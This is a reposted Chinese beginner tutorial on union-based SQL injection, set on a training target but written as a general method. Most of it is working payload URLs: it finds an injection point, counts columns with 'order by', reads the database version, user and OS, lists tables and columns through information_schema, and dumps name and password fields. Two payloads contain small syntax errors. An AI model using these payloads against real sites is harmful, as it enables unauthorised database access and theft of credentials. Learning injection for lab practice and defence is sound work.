SQL注入思路|零基础也能看懂

Posted 向阳-Y.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入思路|零基础也能看懂相关的知识,希望对你有一定的参考价值。

本教程采用墨者学院SQL注入靶机,所以注入方法不一定适用于每一个网站

SQL注入思路

想要sql注入,必须知道数据库的结构(数据库、表名、列名)

1.先判断有无注入点

判断方法:

http://xxxxxx?id=1 and 1=1     #正常访问
http://xxxxxx?id=1 and 1=西瓜   #错误页面
或者:
http://xxxxxx?id=-1            #错误页面

当页面出现如上情况,表示有注入点

2.猜解列名数量 (order by x)

以下猜解说明有4个列名

http://xxxxxx?id=1 order by 1 #正常
http://xxxxxx?id=1 order by 2 #正常
http://xxxxxx?id=1 order by 3 #正常
http://xxxxxx?id=1 order by 4 #正常
http://xxxxxx?id=1 order by 5 #错误

一直猜解,直到页面报错为止!

3.输入

http://xxxxxx?id=1 union select 1,2,3,4   #如果访问成功则表示猜解成功

4.报错出信息(让他报错,页面会返回值):

http://xxxxxx?id=1 and 1=西瓜 union select 1,2,3,4

下图发现报错了2,3,说明2,3处有注入点

5.对报错处进行相关数据查询:

5.1信息收集:

因为报错了2,3,所以我们的操作都是在2,3上进行
先解释一下sql中出现的关键信息:
数据库版本: version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
information_schema.tables:记录所有表名
information_schema.columns:记录所有列名
table_name:表名
column_name:列名
table_schema: 数据库名字

必要知识点:
1.在mysql5.0以上版本,mysql存在一个自带数据库名为:
information_schema,它是一个存储所有(数据库名、表名,列名)的数据库 ,反之,如果没有,就只能对表明数据库名进行暴力猜解

5.1.1查询版本和名字

明白上面的信息后,首先来查一查数据库版本和数据库名字:

http://xxxxxx?id=1 and 1=西瓜 union select 1,version(),database(),4

5.1.2查询数据库用户和操作系统

http://xxxxxx?id=1 and 1=西瓜 union select 1,user(),@@version_compile_os(),4

6.查询指定数据库下的表名信息:

(这里只显示了一个)

http://xxxxxx?id=1 and 1=西瓜 union select 1,table_name,3,4 from information_schema.tables where table_schema="这是数据库名字"

(如果需要显示所有,就需要改一下:group_concat)

http://xxxxxx?id=1 and 1=西瓜 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="这是数据库名字"

7.然后继续查列名:

输入上述语句后,就能查到表名,利用表名查列名

http://xxxxxx?id=1 and 1=西瓜 union select 1,group_concat(column_name),3,4 from information_schema.column where table_name="这是表的名字"

8.查询指定数据:

再利用列名查你想要得到的数据

http://xxxxxx?id=1 and 1=西瓜 union select 1,name,password,4 from 表名

以上是关于SQL注入思路|零基础也能看懂的主要内容,如果未能解决你的问题,请参考以下文章

Python中一些基础知识点的汇总:零基础也能看懂的Python基础

10分钟零基础带你入门Ribbon小项目-啥?小白都能看懂?

小白都能看懂的SQL零基础入门,一文带你轻松学会增删改查!

小白也能看懂的 Laravel 核心概念讲解

小白也能看懂的 Laravel 核心概念讲解

Git的基本使用方法(0基础小白也能看懂)